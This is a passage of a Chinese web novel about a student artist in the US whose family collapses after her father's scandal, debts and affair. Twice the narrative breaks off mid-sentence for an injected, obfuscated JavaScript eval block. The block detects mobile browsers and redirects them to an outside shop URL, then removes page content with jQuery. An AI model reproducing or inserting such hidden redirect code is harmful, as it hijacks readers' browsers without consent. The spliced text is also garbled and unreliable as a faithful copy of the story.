焦彦甫惊讶于他的洞察,笑道:“我没想怎么着。” 说完,又此地无银地补充了一句:“男女之间不能有单纯的欣赏吗?” 谭召绪笑了:“我看你是权衡之后觉得麻烦,不敢招惹。” 焦彦甫挑眉,反唇相讥:“恐怕你是这么想的。” * “没大事就好”,霍嘉蔚长舒一口气。 徐继唯躺在病床上,除了右腿骨折打了石膏,其余部位完好无损,他略带遗憾地说:“就是没能赶上你的首日展,挺遗憾的。” “可不,嘉蔚的画被别人拍走了”,文乾玥补充。 霍嘉蔚斜她一眼,示意闭嘴。 “五万美金,有人买?”徐继唯惊讶。 “嗯哼”,文乾玥抱着手臂,替朋友骄傲起来。 “是谭老师的朋友,要不是看在她的面子上,我都想撤回交易”,霍嘉蔚心里全无对金钱的渴望,只有对失去作品的惋惜。 “没事,你可以再给我画一幅”,察觉到女友不开心,徐继唯转移话题:“晚上不是有庆祝派对,你们去玩吧,别管我了。” “不行,我要陪着你。” “医院有什么好待的,嘉蔚你是主角,一定得去”,文乾玥心心念念晚上的活动,据说林湛鸣要带帅哥来。 “我没事,医生说观察两天就能出院了。去吧,别耽误派对”,徐继唯也附和。 霍嘉蔚被文乾玥拉走。 到了停车场,她还是觉得不能留男友一人在医院,掏出信用卡,交代文乾玥:“我不去了,替我好好玩”。 “不是…他都说没事”。 霍嘉蔚摇头打断,说你不懂爱情,指了指卡:“随便刷,反正我今天赚了笔大的”。 文乾玥狡黠一笑:“那我们可嗨皮去了”。 霍嘉蔚回病房,见徐继唯正在和人打电话,放轻了脚步。 “嗯…我知道了…再说吧,不是还没确定吗”,他挂掉电话,情绪低落。抬头看到女友,脸上闪过一丝慌张,随即挤出笑容:“怎么回来了?” “干嘛,我来陪你还不乐意?”霍嘉蔚看着那条打了石膏的腿,心疼:“早知道我就不催你了,两个月不能走路,这可怎么办。被你爸妈知道又得心疼坏了。” 徐继唯出国读书这事,一度遭到家里人的强烈反对。 原因无他——徐家是当地数一数二的中医世家,传承了三代,根基深厚。徐爷爷和徐奶奶都是小有名气的老中医,早年并肩随师学医,几十年来专攻疑难杂病诊治,被业内誉为“中医伉俪”,曾被当地电视台请去拍纪录片。 徐家父母则经营着中医馆,有两位老专家坐诊,口碑在当地极好,常有外地患者外地慕名而来,规模不亚于一家小型民营医院。 徐继唯从小耳濡目染,被寄予了“继承衣钵”的厚望,哪怕不学中医,也该在医药行业延续出路。可他为了和女友不分开,坚持要来美国。和家人抗议后,双方各让一步:同意徐继唯出国镀金,但完成本科学业,必须回国。 出国前徐家爷爷奶奶泪洒机场,拉着霍嘉蔚反复交代:“你一定要替我们照顾好继唯,好好读书,别乱交朋友,拿到学位就回国……” 徐家父母虽未说如此肉麻的话,却在一旁点头表示认同。 被他们这样一说,霍嘉蔚倍感压力,好像是她把人家三代单传的宝贝孙子给拐走了一样。可自己也是独生女,怎么她的父母表现得很淡定呢。 霍妈妈蔚容茵反复挂在嘴边的嘱咐是:“凡事多留个心眼,遇事先保命”。 霍爸爸霍成明则不多言,只是拍拍霍嘉蔚的肩膀,语气轻松:“我对你们只有一个要求,遵纪守法,归来结婚生子”。 蔚容茵和霍成明是90年代的大学生,毕业赶上基建热潮,凭借敏锐的商业眼光,结交了不少行业人脉,从承包修路、造桥等工程项目起家,逐步进军房地产,是宁川地产界小有名气的夫妻搭档。 和周围同学相比,霍嘉蔚和徐继唯的家境只能算中等偏上,虽不是最富的,但生活优渥自在、无忧无虑。 两人在同一所私立学校相识,高中时萌生恋情。约定申到同一个城市的学校后,向家长坦白恋情。因家世相当,这段青涩的初恋并没受到任何阻拦。 算起来,他们在一起快五年了,不出意外的话,本科毕业就回国订婚。 霍嘉蔚心里早拿徐继唯当成家人,此刻见他心事重重,她贴心安慰:“你想喝骨汤吗,我查查怎么做,喝了我熬的汤,恢复起来一定快。” 徐继唯被女友夸张的语气逗笑了,开玩笑道:“撞车的那一刻,我真担心再也见不到你了。可是一想到死了就不用写毕业论文,心里又轻松了…” “呸呸呸,瞎说什么”。 “你早点回去吧,不用在这陪我。不是要去画廊实习,用不用早起?” “我不想去,反正毕业也不急着找工作。有这时间不如出去玩,感恩节假期咱们去盐城湖滑雪好不好?” 徐继唯看了眼自己打着石膏的腿,面露难色。 “哎呀,不好意思。那还是去坎昆浮潜吧…” “再说吧”,徐继唯有些心不在焉。 霍嘉蔚没察觉他的不开心,继续分享:“明天我要去看房,最近我妈给我转了笔钱,让我看看有没有适合养老的房子。” “买房?” “嗯。我也奇怪,她怎么突然想来美国养老。” 徐继唯若有所思,语气却故作轻松:“阿姨心够大的,这么重要的事居然交给你来办。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477956|201592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我也觉得”,霍嘉蔚一愣,反应过来:“你什么意思?” “既然阿姨交代你了,就当个事办”,徐继唯语气严肃起来,听得霍嘉蔚莫名紧张。 这大半年来,妈妈频繁打来不少钱,金额一次比一次大,还总是叮嘱她保管好。 霍嘉蔚觉得奇怪,再有一年就快毕业了,眼看要回国,这个节点搞这么多美金做什么,难不成要来回倒腾赚汇率差? 她打给妈妈确认。 蔚容茵只说在外生活不确定性大,想让霍嘉蔚手里多点资产,心里才安心。末了,还建议她拿这笔钱去置业,投资房产,说至少房子跑不掉,是很安全的资产储备。 霍嘉蔚觉得怪,却不明白问题出在哪。妈妈以前也给她灌输过一些理财知识,比如提醒她美股开户、教她定投,怎么算收益率和回报周期之类的……都是在教她怎么让钱变多。可现在,收益成了可有可无的部分,反倒是安全、储备、底气这些词被反复强调。 前段时间忙着筹备作品参展,一时把看房的事耽搁了下来。现在想起来,她心里不安:“继唯,你说我家里不会出事了吧?” 徐继唯沉默了片刻,反问:“嘉蔚,你有没有想过不回去?” 留在美国?当初抱着体验的心态出来留学,从未有过长居的计划。嘉蔚觉得这个提议太离谱,严肃发问:“你是认真的?” 徐继唯笑了笑,化解紧张的气氛:“随口问问,对我来说,只要能和你在一起,哪里都一样”。 霍嘉蔚松了口气:“我这么恋家的人,是一定要回国的。在这待了快四年,已经体验够了。” 晚点,文乾玥发来消息,说信用卡有问题,刷不出来:“你不会故意拿张废卡耍我吧?” “我是那种人么?”霍嘉蔚觉得奇怪,按理说这是老爸的副卡,额度高得离谱,不可能刷不出来。 “我当然知道你不会,可刚才尴尬死了,我还信誓旦旦说是机器坏了,搞得我好没面子。” 这话让霍嘉蔚有点不舒服。说得好听点,他们是为了替自己庆祝而开party,但实际上,不过是找个由头聚一聚,她都没参加,最后却得买单。 不过为了维护朋友情谊,她不想计较这些小钱:“多少啊,我转你”。 文乾玥嘴上说着不用,末了,不经意提了个数字。 霍嘉蔚一听,不过一只小包的价格,立刻转了过去。 过了半分钟,文乾玥打来电话,声音止不住的兴奋:“哎呀,说了不用你还转。对了,她们刚才告诉我,买你画的那个Leo,是谭老师的侄子!” 难怪都姓谭,果然温柔的谭老师,家里人的教养也很好。 霍嘉蔚“哦”了一声,自己的画被这种人买走,归宿还算不错,她心里获得了点抚慰。 “嘉蔚,你帮我个忙好不好”,文乾玥声音忽然变小了,像是怕被谁听见:“能不能问画廊要一下Leo的联系方式?” “你要做什么”,霍嘉蔚明知故问,心里不太乐意。她知道文乾玥刚和学弟分手,还闹得挺难看,这会儿又急着追别人,多少有点不妥。 “就认识一下”,文乾玥嘴上轻描淡写,语气却藏不住的兴奋,“交个朋友不行吗,也不是非要发展什么”。 霍嘉蔚皱眉,顾左右而言他:“派对上没认识新朋友吗?” “被林湛鸣骗了,他带来的全是书呆子。你就帮我问问康妮,不行我再想别的办法”,文乾玥说得理直气壮,有点撒娇耍无赖的意思。 “好吧”,霍嘉蔚答应了下来。 5. 第 5 章 隔天,她约了房产经纪人Yolanda看房。 初次见面,Yolanda十分热情,贴心递上一份小礼物。 “专柜断货的烂番茄色,我最近常用,谢谢”,霍嘉蔚大方收下,心里暗暗感叹,专业人士对客户果然有一套。 Yolanda穿着干净利落的立领风衣,踩着小高跟,长发微卷、妆容精致。加深的全包眼线让她的亚裔面孔多了几分异域风情。她说话语速快、逻辑清晰,连肢体语言都充满感染力。 与她同行,霍嘉蔚觉得自己的气场也增强了几分。 “我看了你的需求,这两天挑了几套匹配的房源”,Yolanda麻利拉开车门,请她上车。 “咱们先去黄金海岸,那一带是是顶级富人住宅区。今天看的这套刚经过全面翻新,环境非常好,很适养老;另外一套在林肯公园,那块儿现代化更强,周边住户一般是律师、医生和科技高管,更适合你们年轻人。” 霍嘉蔚之前做过功课,对这两处的房子都有了解。 看图片时,她一时难以抉择,来到现场,实地代入和体验了一番,更是各有千秋,难以下定决心。 恰好手头预算足够,她大胆地想,要不都买下来? 徐继唯那话不是空穴来风,再加上妈妈近期的异常举动,她隐隐觉得有大事发生。如果未来真要留在美国,能住两处称心的住宅,也算多了一些精神上的慰藉。 Yolanda看出她的意图,劝道:“黄金海岸的这套市场估价在400万到450万之间。环境好,学区顶级,升值潜力很大。如果未来出租,年回报率预计在3.5%到4%,属于低风险稳健型投资。” “林肯公园那套房价300万左右,现代化设计吸引了很多高收入上班族,租赁需求旺盛。根据你的预算,两者都入手也不失为一种分散风险、优化投资组合的策略。” Yolanda说得太专业,霍嘉蔚有点不太能跟上,却莫名觉得信任。对方似乎不止是在帮自己挑房,更是帮她做资产规划,这和妈妈的建议不谋而合,她有些心动了。 于是,在思考了几天、详细了解房屋情况、确认价格和交易流程后,她爽快付下定金,并约好了签约时间。 与以往买奢侈品不同,这是霍嘉蔚第一次进行如此大额的交易,心里不免有些忐忑。她给妈妈发了消息说明情况,但迟迟没有得到回复。 这晚,霍嘉蔚在厨房煮汤,电话铃声响起。 一个陌生电话,她狐疑着接通,那头传来一个陌生声音:“霍小姐吗?我是律师Michle王,一个月前,霍总委托我将TheBelmont的公寓挂牌出售。” 正是她目前在住的公寓,霍嘉蔚怔住:“卖掉?为什么?” 王律师沉默了几秒,没有正面回答她的问题,继续说:“买家已经联系好了,下周要过户,麻烦您配合腾出”。 她生气又着急,爸爸为什么要突然卖掉房子,还不和自己商量? 挂掉电话,顾不上国内外时差,她立刻给霍成明打电话。 提示音响了很久,无人接听。 妈妈要买房,爸爸要卖房…两件矛盾的事情撞在一起,让霍嘉蔚百分百确认:家里出事了。 虽是独女,父母对霍嘉蔚的教育并不娇惯。 她从小就被要求自己动手做很多事,练就了一定的自理能力,也养成了遇事冷静沉着的习惯。 然而此刻,在巨大的未知面前,她不可避免地感到慌乱,脑子里冒出无数种猜测,每一种都让她胸口一紧,陷入更大的惶恐和不安。 她带着骨汤去医院探望徐继唯,顺便向他打探消息。 徐继唯将滋补的骨汤喝尽,觉得一股暖意在身体里缓缓散开,全身都舒畅。他似乎早就有了心理准备,冷静道:“嘉蔚,你搬到我家来吧。反正咱们明年就订婚了,迟早要住到一起。” 霍嘉蔚摇头,道出疑惑:“我不明白,我爸要卖房为什么不提前和我说,还有我妈,这两天打她的电话老没人接,只回文字消息”。 “就算真有事,咱们也鞭长莫及。况且大人的事,留给他们自己解决好了”,徐继唯强调:“你有我就够了。” 这话说的,好像她已经嫁给他,必须依附于他一样。霍嘉蔚心有不满,怒呛道:“先别说这些。你知道什么,立刻告诉我。” 徐继唯打开手机,找到一个地方新闻的链接。 【宁川知名企业家被曝婚外生子拟将双胞胎纳入族谱】 两行醒目的大字,像一记闷雷,在霍嘉蔚眼前炸开。 她点开那条配图模糊的新闻,能辨认出是自家产业。 徐继唯担忧地看着女友,沉默不语。 霍嘉蔚喉咙发紧,迟疑着问:“这是什么意思?” “我才知道不久,据说蔚阿姨和霍叔叔离婚了”。 “不可能”,霍嘉蔚脱口而出,印象中父母感情很好,连架都不怎么吵。 “这世界变化太快,什么都有可能发生,记住,遇事先保护自己,再考虑其它……” 妈妈几天前的叮嘱冷不防得地响起。 难怪这段日子,她时不时以各种名义汇钱过来,话里话外都是提醒。 霍嘉蔚心跳猛烈,既有被瞒着的愤怒,又有被拉进漩涡的慌乱。但现在不是追究对错的时候,如果真像新闻里所说,那两个私生子要入族谱,意味着原本属于自己的一切,都将被瓜分。 徐继唯设想过女友得知真相后的反应,崩溃、哭鼻子、情绪失控,甚至冲动之下回国。 霍嘉蔚却出奇地平静,她检查了银行账户的余额,看到那一长串数字心里瞬间有了安全感,接着联系搬家公司,当晚便搬离了父亲购置的公寓。 徐继唯家在同一大楼的另一层。虽然近,但霍嘉蔚东西多,折腾到了大半夜才搬完。 虽然以前也来过他家留宿,但这一次的心境完全不同,不是恋人间从容亲昵的小憩,而是无处可去的狼狈。 徐继唯人在医院,喊了两位朋友来帮忙。 作为他的发小兼死党,易闵闵对霍嘉蔚没什么好感。嫌她太黏人,把徐继唯管得死死的。每次组团打游戏,一到十点徐继唯准时下线,理由永远都是:嘉蔚要睡觉了,我陪她聊会儿天。 次数多了,大家也习惯了,半夜开黑,不再喊他。少了个能带飞的队友,易闵闵熬夜打游戏的乐趣少了一半。 此刻他抱着手臂,事不关己地看着工人们进进出出。 霍嘉蔚亲自上手,一会儿拎着透明防尘袋,在次卧的衣帽间和客厅之间来回穿梭,一会儿把玄关处堆成小山的鞋盒一摞一摞往里搬,最后又坐在客厅中央的地毯上拆纸箱,把零碎的小物件分拣出来。 看她忙碌的身影,易闵闵不屑地想,都这种时候了,还有闲心收拾东西。他故作关心道:“霍女神最近还好吗,看新闻你多了两个弟弟啊”。 林湛鸣开冰箱的动作一顿,忙和稀泥:“网上的事谁说得清真假,没准儿是媒体为了流量,捕风捉影胡编乱造的,当个消遣看看就完了,你还真信?” 霍嘉蔚本就心神疲倦,正强撑着精神收拾衣物,闻言立刻来了斗志。 “傻子才信”,她不屑地哼了一声,瞥向易闵闵:“就算是真的,也不是坏事,以后家里的事有人分担。对了,和兄弟姐妹相处的门道,我可得向易少讨教。这方面您最有发言权。” 中原一带地下能源丰富,易闵闵祖辈靠煤矿发家,鼎盛时期曾一度是当地首富。他父亲一辈人丁不旺,只有一个姑姑,到了他们这一代,兄弟姐妹如雨后春笋野蛮生长。 他排行第六,上有三个哥哥、两个姐姐,里里外外还有不少弟弟妹妹。 大家都足够优秀,不是接手家族生意,就是在当地从政,还有藤校的高材生……到了易闵闵这,能走的路似乎都已被走完。他每月领取信托账户的固定拨款,表面衣食无忧,实际被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477957|201592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闲置在边缘。 易闵闵对自己的处境心知肚明,时而敏感自卑,时而不可一世。 他剜了一眼霍嘉蔚,又看向满屋堆叠的箱包,讥讽:“没问题,我有的是时间,倒是你,最近风口浪尖的,有得忙了。” “不像某些人闲出屁了,说是留学,结果连学都没得上”,霍嘉蔚不留情面地回击。 她对易闵闵的印象也很差。这人嘴欠,还□□,之前就因酗酒违规被学校劝退了,现在就是一无所事事的街溜子。 她不明白,徐继唯为什么会和这种人交朋友。 易闵闵没有被激怒,悠闲靠在沙发上,望着天花板,道:“不知道一家三口变一家五口,不对,是六口,某人还是不是家里最受宠的大公主?” 霍嘉蔚胸口狠狠一窒,停了动作,咬牙问:“什么意思?” “好心提醒你”,易闵闵继续口无遮拦:“等那俩弟弟一进门,以后家产有没有你的份还另说。既然不带把儿,就别总拿自己当接班人,想想怎么才能多捞点嫁妆。” “你给我滚”,霍嘉蔚抓起旁边的香薰瓶,抬手就要砸过去。 林湛鸣眼疾手快按住:“哎别冲动,他嘴里哪有正经话。” “我说的都是实话,你别不爱听……” 话没说完,林湛鸣立刻将人轰走,强行往外推:“闭嘴,再说一句我把你扔下楼。” 霍嘉蔚要将香薰瓶捏碎,声音颤抖:“你们都滚。” 门“砰”地关上,将她的怒气隔绝在屋内。 下楼,林湛鸣忍不住埋怨:“你惹她做什么,这不是给徐继唯添麻烦么”。 易闵闵点了支烟,吸了一口,冷笑:“我早看不惯她了,自以为是,这回终于栽跟头了”。 林湛鸣一听,直觉话里有话:“怎么回事?” 易闵闵不卖关子,把听到的传闻抖了出来。 “不至于”,林湛鸣半信半疑。 易闵闵吐了口烟圈,一股浓烈刺鼻的叶子味弥漫开来,他眯着眼,颇为老练地抖着烟灰:“过两天自然见分晓”。 工人走后,霍嘉蔚一个人蜷坐在角落,给国内的亲戚发消息。 她枯坐一晚,陆陆续续等到了回复,大多含糊敷衍、闪烁其词。大家都讳莫如深,不肯透露什么。 越是这样她越不安,巨大的恐惧将她包围。 期间,徐继唯打来视频,问安顿得如何。她敷衍着应付了几句,没提和易闵闵吵架的事。 终于在凌晨六点,一个陌生的国内电话打来。 她迟疑着接通,听到妈妈蔚容茵的声音,眼泪猛地掉落。 对于新闻真假,蔚容茵不置可否,冷静安慰道:“宝贝,你已经成年了,要有独自面对生活的勇气。” 霍嘉蔚顿觉不妙,抹干眼泪问:“你真要和爸爸离婚?他在外面养私生子的事,是真的吗?” “是我大发慈悲,才让那对双胞胎留下,没想到他鬼迷心窍,竟然要把那两个杂种带回家!算了,现在说这个已经没有意义,反正我们已经离了。” 霍嘉蔚心口猛地一抽,仅存的期待和幻想瞬间破灭。那个她从小赖以依靠、始终觉得牢固温暖的家,居然就这么散了。她震惊得发不出声音,半晌,才勉强挤出一句:“妈妈,你还好吗?” “我很好”,蔚容茵沉稳冷静的声音里,开始有了一丝哭腔。 她强忍住情绪,嘱咐道:“霍成明干的混账事不这止一件,你要有心理准备。要不是他太龌龊,买通李姐偷走了我的护照,现在我已经飞美国和你团聚了。既然要撕破脸,那就鱼死网破好了。” 霍嘉蔚听得心往下一沉。 蔚容茵顿了顿,继续交代:“我给你的那些钱,收好了,那是我们应得的。在美国好好待着,等我处理好了这边的事,会想办法去找你…不要接霍家任何人的电话,他们找你,除了要钱,不会有别的事。” 挂掉电话,霍嘉蔚浑身没了力气。 6. 第 6 章 后面几天,霍嘉蔚在新闻上看到九鼎地产创始人涉嫌赌博,欠下巨额债务、挪用项目资金的消息。 不断有骚扰电话打来。 催债人的威胁、烂尾楼业主的辱骂、亲戚们旁敲侧击的试探…… 她不堪其扰,一个个拉黑号码。生活似乎能维持表面的平和,可一想到家没了,爸爸成了老赖,妈妈行踪不明……她觉得自己像被丢在汪洋里的浮木,漫无目的、失去了着力点。 毕业回国的计划被打断,未来变得一片模糊,她不知道该何去何从。 幸好,还有男友的陪伴。徐继唯说,“不管发生什么,我们一起想办法。你不是一个人”。 这话让她全面崩塌的内心,多了一些支撑。 徐继唯出院这天,霍嘉蔚去接他。 好巧不巧,又遇到了易闵闵。 他神秘兮兮地找徐继唯商量着什么,两人似乎没聊到一块去,氛围有些不对。 临走时,易闵闵不经意地提道:“这年头,生活不容易啊,买房遇到烂尾楼、开发商跑路……啧,倒霉。” “行了,你赶紧走”,徐继唯喝断。 易闵闵脸上闪过一丝不快,强行替自己挽尊:“我又没瞎说”。 “你他妈快滚”,徐继唯又冲他喝了一声。 头一次听徐继唯爆粗口,霍嘉蔚一半感动,一半无措。 回去的路上,她心不在焉地开着车,好几次在变道时略过盲点,差点蹭上旁边的车辆。 车身遽然晃动,吓得她冷汗直冒。 “对不起”,她下意识道歉,心头被浓重的愧疚萦绕。 “不用道歉”,徐继唯温柔宽慰:“你什么都没做错”。 连日来强忍着的情绪,被这一句话轻轻戳中。 回到公寓,霍嘉蔚很想扑进男友怀里好好哭一场,可家里有外人在——徐妈妈托朋友请来的住家保姆正在客厅打扫卫生。 前一天胡阿姨拎着行李过来的时候,径自拿着钥匙开门,把当时正在厨房煮汤的霍嘉蔚吓了一跳。 她最近疑心很重,怀疑胡阿姨的身份。 为证明自己就是一个普通的保姆,胡阿姨给徐妈妈打去电话。 得到徐妈妈的认证后,霍嘉蔚放心让她进来。 电话挂断前,徐妈妈一句叮嘱有点刺耳:“照顾继唯有胡阿姨就行了,嘉蔚你要以自己的学业为重,不要把精力用到煮饭这种琐事上。” 自从家里出事后,霍嘉蔚变得异常敏感。哪怕朋友随口说的一句话,她也会下意识揣摩其中的语气与分量。徐妈妈的这句叮嘱,似乎含了某些言外之意。 “我找好了房子,这周准备搬走”,当着胡阿姨的面,霍嘉蔚忽然开口。 “不行”,徐继唯下意识反驳,声音有些高。 吸尘器的响动停了一瞬,胡阿姨抬头看他们。 徐继唯将她拉进次卧,关上门,迫不及待地问:“为什么,在这住得不舒服?” “不是,我选好了房子,下周签约,可以拎包入住。” “不行,你一个人我不放心。先在我这里住着,等毕业了再说不好吗?” 听到毕业两个字,霍嘉蔚眼里闪过一丝慌乱。妈妈给她打过预防针,不要回国,先在外面避避风头。 家里的风波会不会影响更广,她和徐继唯还能不能在一起,订婚的事算不算数……一切都是未知。 她摇头:“以后怎么着,还说不定。” 徐继唯炸了:“什么说不定,难道你有别的想法?” 霍嘉蔚陷入沉默,手机忽然响动。她点亮了屏幕,是霍成明的语音通话。 消失很久的爸爸终于出现了,她慌张又亢奋,期待听到澄清和解释。并心怀侥幸地想,也许这一切都是误会,新闻说的都不是真的:爸爸没有出轨、没有挪用资金、没有害楼盘烂尾…… “嘉蔚,你还好吗?爸爸犯了错,对不起你们”。 “我很好”,她想喊“爸爸”,想问他还好吗,但脑海里闪过妈妈的嘱咐和那些负面新闻,没有开口。 话音刚落,霍成明语气转瞬变得急促:“你手上还有钱吧?给爸爸转一笔,越快越好。” 一句话,撕碎了她最后的幻想。 霍嘉蔚挂了电话,不敢相信从小敬重、仰慕的父亲,居然会开口问自己要钱。 “怎么了?是谁的电话”,徐继唯见她脸色不对,关切问道。 “我爸”,她说完顺着墙壁滑坐到地上,抱着胳膊,止不住地抽泣起来。 手机再次响起,霍嘉蔚嫌吵,把手机按静音。 见电话打不通,霍成明发来文字,直白简洁:我知道你妈给你转了钱,那是婚姻续存期间的共同财产,你们不能那么自私。 “现在拿出来,我还有翻身的机会。难道你要眼睁睁看着公司倒下?咱们家完了,你也会受牵连。” 最后,他祈求道:爸爸真的撑不住了。 在连环消息轰炸下,霍嘉蔚动摇了,她止住哭泣,问:你要多少。 霍成明秒回:有多少转多少,等爸爸挺过这次,加倍还给你… 她关掉手机,转身问男友:“我该怎么办?” “不要理会,听阿姨的,待在这里好好生活。” “可是…” “我会和你一起。” …… 霍嘉蔚变得不爱出门,好在大四没什么课,她终日宅在家,准备毕业作品的论文部分。 面对朋友们发来的关怀信息,她一概用“很好,没事”回应,唯独在接密友文乾玥的电话时,情绪没能控制住。 文乾玥劝慰:“至少还有钱,生活不用发愁,其他的事情总会有转机的,别灰心。” 霍嘉蔚苦笑,心里并不轻松。她一直觉得,钱能解决的都是小事,但家里的风波、未来的不确定、以及自己内心的动荡,都不是金钱能解决的。 倾诉没能起到排解的作用,反而加剧不安,她意识到,没有人会对自己的处境感同身受,一切只能自己扛。 文乾玥依旧不痛不痒地安慰着:“你多棒啊,还没毕业,就卖出了作品。咱们这届还是第一个呢”,接着,她转话锋一转,语气带着期待:“对了,你拿到了Leo的联系方式吗?” 霍嘉蔚忘了这回事,有些愧疚,拖延道:“在等康妮的回复,拿到了第一时间私你。” “谢谢宝贝,么么。” 挂了电话,霍嘉蔚忍不住又点开微博。 这段时间,她消磨时间的方式是反复刷新闻。 项目停工的航拍,业主围堵公司维权的视频,被拖欠工程款的农民工喊话讨债……一条条从屏幕上跳出来,像沉重的石头砸在她心上。 从前离自己很遥远的社会新闻,此刻她忽然能代入人物的处境了。 视频里响着严肃的配乐,红底白框的醒目字体弹出:“90后年轻夫妻花光积蓄买房,项目烂尾,带宝宝住进断水断电的毛坯房。” 看着那一家三口在灰暗楼道里烧水做饭的画面,八个月大的宝宝,睁着圆溜溜的眼睛,望着斑驳的天花板吸着手指,对身处的困境毫无概念……她忽然意识到自己没法置身之外。 再次点开银行账户,看着那些数字,只觉得刺眼。 霍嘉蔚活在“有钱但不敢花”的不安中。 原本和Yolanda约好的签约时间,一推再推。每次对方询问,她都只能敷衍,说最近忙于学业。实际上,她每天宅在家里惶惶不可终日。 耳边时不时有个声音冒出来,反复质问:你凭什么拿着这些钱?为工程款奔波的农民工,住在毛坯房里的婴儿,房子烂尾却不能断供的上班族……都是因为你爸爸才受到牵连,你有什么资格岁月静好地继续享受生活? 这不是你应得的。 生活在慢慢失控……她害怕一个人住,不敢关灯睡觉,夜里只要听到手机震动,都会条件反射地浑身一紧。 她很想从徐继唯家搬走,却没有勇气独自面对生活。 胡阿姨名义上是来照顾徐继唯的,实际上更像是徐妈妈的“眼睛”。 有好几次,她听见胡阿姨和徐妈妈打电话,说起徐继唯的恢复情况,聊着聊着,总会提到自己:“没有,他们没吵架,好着呢……学校去得少,在屋里安安静静的……没住一块,她睡客卧。” 这些话或许并无恶意,却在无形中戳到了她敏感脆弱的神经。 她想找妈妈商量,可自那通电话之后,妈妈再次失联了。 消息传得越来越广,不断有熟人找过来,或是关心,或是好奇,说来说去,无非那几句:你最近还好吗?家里的事还顺利吗?网上的消息是真的?别担心,和你没关系…… 她强装镇定,没事一样应付过去。说实话,她宁愿被易闵闵那种人指着鼻子骂,也不想被人用同情的目光打量。 她从未像现在这样讨厌社交,只是这天不得不出门,去学校找谭老师讨论毕业进度。 路上开车,霍嘉蔚分了神,在变灯前几秒没踩刹车,差点撞到斑马线上的行人。 对方摔坐在路边,恼火地爬起来拍车头,喊她下车理论。 慌乱之中,她赶紧摇下车窗,连连道歉,只希望别小题大做。 籍又夏盯着车牌号怒火中烧,视线往上一抬,看清是霍嘉蔚后,面色一顿,语气软了几分:“怎么是你?” 霍嘉蔚把人扶起来,紧张感消散大半:“不好意思,我着急去学校。你没事吧?” 籍又夏掏出纸巾擦手,道:“没事,你走吧”。 “确定没事?” 籍又夏摆了摆手:“走吧。” 霍嘉蔚心里过意不去,热心问道:“你也去学校?要不要带你一起。” 籍又夏顿了两秒,对她的邀约有些意外,点头:“也行”。 她上了副驾,车子一路往学校方向开。 霍嘉蔚以为难免又要被关心两句,都做好了被同情的准备。 但籍又夏没有。 她像上回一样,不深不浅地聊着无关紧要的事,问自己的唇形是不是很自然,说某家中餐推出的新菜难吃得离谱,小费还收得巨高。 两人闲聊了一路,在停车场告别。看着籍又夏苗条纤瘦的背影,霍嘉蔚觉得她表现出的分寸与善意,比所谓的“老熟人”多得多了。 距离上次见面半个月不到,谭郁梵见霍嘉蔚瘦了一大圈,整个人没了心气儿,不禁愣住:“你怎么瘦成这样了?” 霍嘉蔚强撑着笑,解释:“最近熬夜有点多”。 谭郁梵不知她的遭遇,安慰道:“别给自己太多压力。你的作品市场反响不错,至少我侄子就很欣赏。说有一种‘去国怀乡’的叙事感,让他怀念起儿时在国内的生活。” 霍嘉蔚不解,随即反应过来,是那位出手阔绰的买家。 原来如此。得知自己的画作被买下的原因,不过是戳中了对方的思乡之情,霍嘉蔚有些意外 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徐继唯闷声补了一句:“你想做什么,我都支持你。但这些钱是蔚阿姨为你争取的,不要辜负她的良苦用心。至于霍叔叔,只能说他自己酿的苦果自己承受,你别太往心里去。现在最重要的,就是把这段时间安稳地熬过去,不要瞎折腾。” “抛开别的不说,他是我爸爸”,霍嘉蔚喉头发紧,分不清是在替爸爸解释还是在给自己找借口。 时至今日,霍嘉蔚依旧无法接受现实。 她不相信,一个和妻子并肩作战、立志守护家庭、曾把“女儿比儿子贴心”挂在嘴边的男人,会在外面偷偷生下一对双胞胎。更不能接受,自己从人人羡慕的大小姐,沦落为遭人议论的老赖之女。 她确实有私心,希望爸爸能改正错误、悬崖勒马。万一真如爸爸所说,他可以靠这笔钱翻身,那自己也能回到原本无忧无虑的生活里。 “嘉蔚,你要面对现实。霍叔叔牵扯的金额不是小数目,不是靠你手上那点钱就能解决的。” “多少能填补一些,至少把拖欠的工资补上……” 能挽回一点,是一点。 她想。 就算自己的生活回不去了,至少不要连累无辜的人。 徐继唯有些恼了:“你救得了一次,救得了一群?那明天有人被坑了也来找你怎么办?要不要顺便把世界上所有的烂尾楼都填上?” 他的声音像一盆冷水,一点点将她的希望浇灭。 霍嘉蔚脸色发白,不肯松口:“可是他们很惨”。 “那你呢?”徐继唯反问,“蔚阿姨呢?你有想过以后怎么办?” “我是成年人,可以靠自己赚钱。我第一幅画就卖出了五万美金,再多画几幅,就算定价不这么高,但肯定也有人买…” 徐继唯不忍打击她,摇了摇头,无可奈何道:“没那么简单”。 气氛忽然变得别扭。 接下来的日子,骚扰信息越来越少,爸爸也没有再找来。 霍嘉蔚跟着松了口气。 她以为这样浑浑噩噩下去,可以假装风暴已经平息。 但平静的生活仅维持了一周。 周五,她收到康妮的邮件,回复了买家的联系方式,并提醒她在撤展前来趟画廊,完成售卖的交接工作。 把谭召绪的联系方式转给文乾玥,她和徐继唯一起去了趟都会艺术中心。 展厅已经不像开幕那天那样热闹,陈列的作品拆得七零八落,地面堆放着一些物料碎片和宣传册,空气中弥漫了装修时才有的烟尘味。 她的那幅画还挂在原处。 